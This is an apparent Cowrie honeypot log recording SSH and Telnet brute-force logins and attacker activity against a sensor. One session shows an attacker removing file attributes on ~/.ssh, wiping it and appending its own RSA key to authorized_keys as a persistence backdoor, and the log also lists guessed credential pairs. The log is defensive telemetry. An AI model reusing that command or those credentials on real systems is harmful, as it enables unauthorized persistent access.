{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:14.599385Z","src_ip":"185.92.182.129","session":"e18428d272d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:14.632489Z","src_ip":"185.92.182.129","session":"e18428d272d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mudar123","message":"login attempt [root/mudar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:14.791965Z","src_ip":"185.92.182.129","session":"e18428d272d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:15.831095Z","src_ip":"185.92.182.129","session":"e18428d272d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":15260,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a1162ca0ed","protocol":"ssh","message":"New connection: 158.178.141.16:15260 (159.203.135.109:22) [session: 45a1162ca0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:16.211364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:16.216703Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:16.428816Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle1234","message":"login attempt [oracle/oracle1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:17.310286Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:17.793541Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:17.797859Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:17.803047Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:18.020396Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:18.502859Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:18.506978Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:18.725087Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:18.729414Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":53076,"dst_ip":"159.203.135.109","dst_port":22,"session":"60e5ebb27582","protocol":"ssh","message":"New connection: 158.178.141.16:53076 (159.203.135.109:22) [session: 60e5ebb27582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:18.927047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:18.932354Z","src_ip":"158.178.141.16","session":"60e5ebb27582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:19.141119Z","src_ip":"158.178.141.16","session":"60e5ebb27582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:20.007812Z","src_ip":"158.178.141.16","session":"60e5ebb27582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:21.220098Z","src_ip":"158.178.141.16","session":"60e5ebb27582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":53084,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e7bce28823","protocol":"ssh","message":"New connection: 158.178.141.16:53084 (159.203.135.109:22) [session: b7e7bce28823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:21.431235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:21.439033Z","src_ip":"158.178.141.16","session":"b7e7bce28823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:21.651000Z","src_ip":"158.178.141.16","session":"b7e7bce28823","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:22.531979Z","src_ip":"158.178.141.16","session":"b7e7bce28823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:22.750158Z","src_ip":"158.178.141.16","session":"45a1162ca0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:22.756056Z","src_ip":"158.178.141.16","session":"b7e7bce28823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.59.59.233","src_port":57374,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb40fe52122f","protocol":"ssh","message":"New connection: 13.59.59.233:57374 (10.17.0.5:22) [session: bb40fe52122f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:33.087625Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.59.59.233","src_port":57570,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b328ea4132","protocol":"telnet","message":"New connection: 13.59.59.233:57570 (10.17.0.5:23) [session: 17b328ea4132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:33.778802Z"}
{"eventid":"cowrie.session.closed","duration":34.67670822143555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:33.927020Z","src_ip":"192.119.13.58","session":"aab2ce19d785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:34.151939Z","src_ip":"13.59.59.233","session":"bb40fe52122f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.5107338428497314,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:34.289399Z","src_ip":"13.59.59.233","session":"17b328ea4132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":48282,"dst_ip":"159.203.135.109","dst_port":22,"session":"b13a081a7fb2","protocol":"ssh","message":"New connection: 103.82.20.28:48282 (159.203.135.109:22) [session: b13a081a7fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:37.151352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:37.156583Z","src_ip":"103.82.20.28","session":"b13a081a7fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:37.430320Z","src_ip":"103.82.20.28","session":"b13a081a7fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678g","message":"login attempt [root/12345678g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:38.237854Z","src_ip":"103.82.20.28","session":"b13a081a7fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:39.511168Z","src_ip":"103.82.20.28","session":"b13a081a7fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":59592,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a83cd22f6d6","protocol":"ssh","message":"New connection: 102.223.92.101:59592 (159.203.135.109:22) [session: 1a83cd22f6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:41.246207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:41.251643Z","src_ip":"102.223.92.101","session":"1a83cd22f6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:41.424592Z","src_ip":"102.223.92.101","session":"1a83cd22f6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:42.142922Z","src_ip":"102.223.92.101","session":"1a83cd22f6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:43.319632Z","src_ip":"102.223.92.101","session":"1a83cd22f6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.16940450668335,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:45.343319Z","src_ip":"192.119.13.58","session":"6636c901c840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":37706,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ca3c1db551a","protocol":"ssh","message":"New connection: 193.228.128.84:37706 (159.203.135.109:22) [session: 4ca3c1db551a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:46.291519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:19:46.300738Z","src_ip":"193.228.128.84","session":"4ca3c1db551a","protocol":"ssh"}
